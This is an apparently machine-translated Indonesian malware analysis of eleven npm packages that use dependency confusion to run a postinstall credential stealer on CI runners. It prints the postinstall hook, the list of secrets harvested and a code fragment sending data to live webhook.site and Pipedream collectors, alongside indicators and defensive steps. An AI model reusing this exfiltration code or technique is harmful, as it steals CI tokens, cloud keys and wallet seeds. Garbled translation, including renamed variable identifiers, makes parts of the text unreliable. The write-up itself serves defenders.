TL; DR
Pada tanggal 17 Juni 2026, sebuah akun npm tunggal menerbitkan sebelas paket yang memiliki satu tujuan dan satu muatan yang samaSepuluh di antaranya membawa cryptodao- awalan (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); yang kesebelas adalah yang tercakup @public-for-cdao/coreSetiap versi diterbitkan. 99.99.99 dan mengirimkan byte yang identik recon.js itu berjalan postinstall.
Nama-nama tersebut adalah petunjuknya. Nama-nama itu tampak seperti blok bangunan internal dari toolchain privat proyek kripto/DAO. Diterbitkan ke registri npm publik pada versi yang sengaja dibuat tinggi, nama-nama tersebut menunggu untuk dibangun. pipeline yang dikonfigurasi untuk menyelesaikan nama-nama tersebut dan yang mencapai npm publik sebelum — atau sebagai pengganti — registri pribadi. Ini adalah kebingungan ketergantungandan muatannya disetel tepat di tempat yang diperkirakan akan mendarat: CI/CD pelari.
Ketika postinstall kebakaran, recon.js mengumpulkan detail host, melakukan pemindaian secara kasar empat puluh variabel lingkungan cloud, CI, dan dompet kripto, membaca apa saja .env Ia menemukan berkas-berkas yang dibutuhkan dan meneruskan baris-baris yang berisi informasi rahasia apa adanya, kemudian mengirimkan bundel tersebut ke dua kolektor — webhook.site dan sebuah endpoint Pipedream — dengan verifikasi sertifikat TLS dinonaktifkan. Salinannya juga ditulis di bawah /tmp.
Kerasnya: tinggiEkosistem yang terdampak: npmKesebelas paket tersebut sudah aktif pada saat penulisan ini.
Anatomi serangan
Mekanisme ini memiliki empat bagian yang bergerak, dan tidak satu pun dari bagian tersebut yang sulit dipahami setelah Anda mengetahuinya. Lihat satu lapisan di bawah nama kemasan.
1. Inflasi versi sebagai umpan bagi resolver. Setiap paket menyatakan versinya 99.99.99Kebingungan ketergantungan terjadi ketika pengelola paket meminta sebuah nama internal, juga memeriksa registri publik dan memilih versi tertinggi yang ada. menemukan. Pilihan default npm untuk rentang caret atau wildcard adalah versi yang paling memuaskan di setiap sumber yang dikonfigurasi; jika keduanya bersifat pribadi Jika nama yang sama ditemukan di registry dan di npm publik, nomor versi yang lebih besar akan menang. A 99.99.99 pada dasarnya mengungguli versi internal sebenarnya yang akan dimiliki suatu proyek. tercapai, jadi resolver yang tidak terikat pada sumber privat lebih memilih salinan publik — dan dalam kasus ini, salinan yang bersifat bermusuhan. Operator tidak perlu mengetahui Nomor versi sebenarnya dari target; memilih angka maksimum yang tidak masuk akal menjamin selalu terjadi seri. mereka menerobos dengan cara mereka.
2. Pemicu pasca-instalasi. package.json menghubungkan muatan ke instalasi lingkaran kehidupan:
{ "scripts": { "postinstall": "node recon.js" } } Tidak perlu mengimpor paket. Cukup menginstalnya — yang dilakukan oleh CI. pipeline berjalan secara otomatis recon.js.
3. Sebuah operasi penyapuan rahasia yang luas. recon.js menyusun array hasil secara bertahap:
- Konteks host: nama host, platform dan rilis, arsitektur, nama pengguna, bekerja direktori.
- Variabel lingkungan: ia mengulangi daftar tetap yang berisi sekitar empat puluh nama dan catatan. semuanya sudah diatur. Daftar ini cukup informatif — daftar ini memasangkan token CI generik. (CI_JOB_TOKEN, KATA SANDI_REGISTRI_CI, TOKEN AKSES GITLAB) dan awan kredensial (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) dengan registri dan rahasia kontainer (NPM_TOKEN, KATA SANDI DOCKER, KATA SANDI PELABUHAN) dan sebuah klaster dengan nuansa kripto yang khas: KUNCI_PRIBADI, MNEMONIK, FRASA_PEMULA, KUNCI_API_INFURA, KUNCI_API_ALCHEMY, ETH_RPC, BSC_RPCNilai yang direkam dipotong hingga 50 karakter pertama.
- .env berkas: ia memeriksa daftar jalur — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, dan .produksi/.perkembangan varian — dan untuk setiap file yang ada, itu menyaring konten ke baris yang sesuai KUNCI|RAHASIA|TOKEN|KATA SANDI|PRIBADI|MNEMONIK dan memasukkan baris-baris tersebut **secara lengkap dan tanpa terpotong** ke dalam hasil.
- Konteks host build: ini mencantumkan 20 entri pertama dari /bangunan/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, dan / tmp /.
Daftar jalur dan daftar variabel lebih condong ke arah runner GitLab, yang menunjukkan Beban kerja sepenuhnya ditujukan pada infrastruktur CI yang dihosting sendiri, bukan pada pengembang. laptop. Mengelompokkan daftar hasil panen berdasarkan kategori membuat hasil yang diinginkan menjadi jelas:
| Kategori | Variabel/jalur yang dicapai |
|---|---|
| CI/CD identitas & penyebaran | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| awan | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registri & kontainer | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Penyimpanan data | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| pesan | SLACK_TOKEN, DISCORD_TOKEN |
| Pada disk | .env keluarga + /home/gitlab-runner/.env, /root/.env, /app/**/.env; daftar direktori dari /builds/, /var/lib/gitlab-runner/ |
Klaster kriptografi adalah bagian yang membedakannya dari rahasia CI generik. sweep: frasa kunci dompet dan kunci penandatanganan hanya muncul di lingkungan a proyek blockchain, dan mereka dipetakan langsung ke cryptodao-/tanda/kontrak Penamaan maskapai penerbangan.
4. Eksfiltrasi ganda dengan verifikasi dinonaktifkan. Array yang dikumpulkan adalah diserialkan dan dikirim melalui POST ke dua tujuan:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false menonaktifkan pemeriksaan sertifikat TLS untuk lalu lintas keluar. panggilan. Data yang sama dicetak ke stdout (sehingga juga masuk ke log pekerjaan CI) dan tertulis kepada /tmp/.npm_recon_ .jsonKesalahan ditelan begitu saja tanpa menimbulkan masalah, sehingga... Pengiriman gagal tidak meninggalkan jejak apa pun pada output instalasi selain satu baris saja. [pengintaian] terpasang pada line.
Komentar utama dalam berkas tersebut menggambarkannya sebagai "Kebingungan Ketergantungan" Muatan Pengintai.” Pemotongan nilai lingkungan menjadi 50 karakter telah Bentuk sebuah bukti konsep. Yang membedakannya dari sekadar suar kehadiran adalah... .env Penanganan: jalur yang berisi informasi rahasia diteruskan sepenuhnya, dan tujuan pengirimannya terdapat dua kolektor yang berfungsi dan dikendalikan oleh penyerang, bukan sink yang hanya menghitung. hit.
Perusahaan
Pola penerbitan adalah tanda tangan dari satu kali push yang diprogram, bukan sebelas kali. unggahan independen.
| Waktu (UTC, 17 Juni 2026) | Acara |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 diterbitkan |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — varian terlingkup, ~24 menit kemudian |
Sepuluh paket dikirim dalam kurun waktu 29 detik, kira-kira satu paket setiap tiga detik. Lingkupnya @publik-untuk-cdao/inti diikuti sekitar 24 menit kemudian — yang kedua Konvensi penamaan untuk target yang sama, jika proyek yang menggunakannya merujuk pada Rangkaian alat internal di bawah cakupan, bukan sebagai nama biasa.
Indikator kompromi
| Tipe | Indikator |
|---|---|
| Pengumpul | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Pengumpul | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Pasang pengait | postinstall: node recon.js |
| Berkas terjatuh | /tmp/.npm_recon_<timestamp>.json |
| Penanda log | [recon] <pkg>@<ver> installed on <hostname> (output standar dalam log CI) |
| Perilaku | rejectUnauthorized: false pada HTTPS keluar selama instalasi |
| Muatan | recon.js, identik di seluruh sebelas paket (satu build bersama) |
| Versi | 99.99.99 pada setiap paket |
| Paket Exklusif | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (semua 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (email belum terverifikasi, tidak ada tautan ke repositori sumber) |
Atribusi & perilaku yang diamati
Semua hal tentang klaster tersebut mengarah pada satu tangan. Kesebelas paket tersebut telah diterbitkan. oleh akun npm dewasa bulan Juni (aduljune@proton.me, alamat yang belum terverifikasi tanpa repositori sumber terkait), dalam rentang waktu 25 menit, pada waktu yang sama 99.99.99 versi, pengiriman recon.js yang isinya identik byte demi byte di setiap paket (MD5 cocok di semua sebelas salinan yang diekstrak). Itu adalah satu muatan dicap pada daftar nama, bukan penggunaan ulang kode secara independen.
Daftar nama tersebut menentukan target yang dimaksud. cryptodao-* ke cdao menggambarkan Tata letak modul privat dari proyek kripto/DAO, dan daftar hasil tangkapan muatan. Hal ini mencerminkan dugaan tersebut: di samping rahasia CI dan cloud yang umum, hal ini secara khusus meraih KUNCI_PRIBADI, MNEMONIK, FRASA_PEMULA, dan Ethereum/BSC RPC dan kunci penyedia. Itu .env jalur pencarian dan daftar direktori adalah GitLab-runner spesifik. Efek yang dapat diamati adalah bahwa setiap pipeline tertipu untuk memasang ini nama-nama tersebut akan meneruskan token CI, kunci cloud, dan data yang tersimpan di disk. .env rahasia — dan, untuk sebuah proyek blockchain, materi dompetnya — kepada dua kolektor pihak ketiga.
Kami tidak mengklaim siapa yang mengoperasikan akun tersebut atau apa yang mereka rencanakan untuk dilakukan dengan akun tersebut. data. Fakta-fakta yang berbicara sendiri: nama-nama tersebut menargetkan jenis tertentu. Dalam rangkaian alat internal, muatan membaca dan mengirimkan nilai rahasia yang sebenarnya, dan Infrastruktur sudah aktif.
Dampak, tren, dan panduan bagi pihak bertahan.
Kebingungan ketergantungan tetap efektif karena memanfaatkan perilaku resolver, bukan Kerentanan dalam paket apa pun. Pengangkutnya di sini sepele — sebelas paket yang hampir kosong. paket-paket tersebut — tetapi radius ledakannya terserah saja. pipeline secara keliru lebih memilih npm publik untuk nama internal. CI runner adalah tempat terburuk untuk hal itu terjadi: mereka menyimpan persis token dan .env File-file yang dibaca oleh payload ini, dan file-file tersebut diinstal. ketergantungan secara non-interaktif, jadi a pascainstal berlari tanpa ada yang memperhatikan.
Klaster ini juga sesuai dengan pola yang terus kita lihat: muatan pada saat instalasi yang menghadirkan sebagai “penelitian” atau “pengintaian” padahal sebenarnya melakukan pengumpulan kredensial. Label tersebut Dalam file tersebut, tidak mengubah apa yang dilakukan kode pada runner. Dua pilihan desain mempertahankan hal tersebut. aktivitasnya senyap: setiap operasi jaringan dan sistem file dibungkus dalam sebuah penanganan pengecualian yang mengabaikan kesalahan, seperti pengiriman yang diblokir atau file yang hilang. tidak menghasilkan keluaran diagnostik, dan satu-satunya yang dicetak hanyalah sebuah teks yang tidak berbahaya. [recon] … terpasang baris yang menyatu dengan obrolan instalasi normal. Penggunaan webhook.situs dan Pipedream juga merupakan kemudahan yang disengaja — keduanya gratis, Layanan pengambilan permintaan yang disediakan secara instan, sehingga operator tidak memerlukan server. milik mereka sendiri dan tujuan-tujuan tersebut tampak seperti nama host SaaS biasa dalam log keluar.
Aspek ekonomi inilah yang membuat hal ini layak mendapat perhatian seorang pembela, meskipun... Kode operator itu sepele. Mendaftarkan sebelas nama tidak dikenakan biaya, muatannya hanya satu. berkas disalin sebelas kali, dan pengelola paket melakukan semua eksekusi. Satu salah konfigurasi pipeline Siapa pun yang menggunakan salah satu nama ini akan menanggung seluruh biayanya. operasi.
Langkah-langkah konkret bagi para pembela:
- Sematkan cakupan internal ke registri pribadi Anda. Konfigurasikan npm agar nama internalnya
dan cakupan hanya berlaku terhadap registri Anda (pemetaan registri .npmrc yang tercakup, atau proksi yang tidak pernah terhubung ke npm publik untuk namespace yang dimiliki). Cadangkan nama cakupan publik Anda sehingga tidak ada orang lain yang dapat mendaftarkannya.
- Commit lockfiles dan instal dengan –ignore-scripts di CI jika memungkinkan, atau Periksa dengan teliti sejumlah kecil dependensi yang benar-benar membutuhkan skrip instalasi. recon.js tidak dapat dijalankan jika pascainstal tidak dieksekusi.
- Perlakukan versi 99.99.99 (atau angka yang sangat tinggi lainnya) dari nama yang tampak internal. sebagai tanda bahaya dalam peninjauan dependensi dan pemantauan registri.
- Peringatan pada saat instalasi. A pascainstal yang membuka HTTPS keluar. koneksi — terutama dengan verifikasi sertifikat dinonaktifkan — ke Layanan webhook.site, Pipedream, atau layanan penangkapan permintaan serupa layak diblokir di tepi jaringan dan ditandai dalam log pembangunan.
- Carilah artefak-artefak tersebut. Periksa pelari untuk /tmp/.npm_recon_*.json dan untuk [recon] … terpasang pada … penanda di log CI terbaru. Jika ditemukan, lakukan rotasi setiap kredensial yang terpapar hal itu pipeline — Token CI, kunci cloud, token registri, dan semua seed dompet atau kunci pribadi yang ada di lingkungan atau file .env.
Referensi
Tidak ada laporan eksternal mengenai klaster ini pada saat penulisan; analisis ini Informasi di atas didasarkan langsung pada isi paket yang telah dipublikasikan.




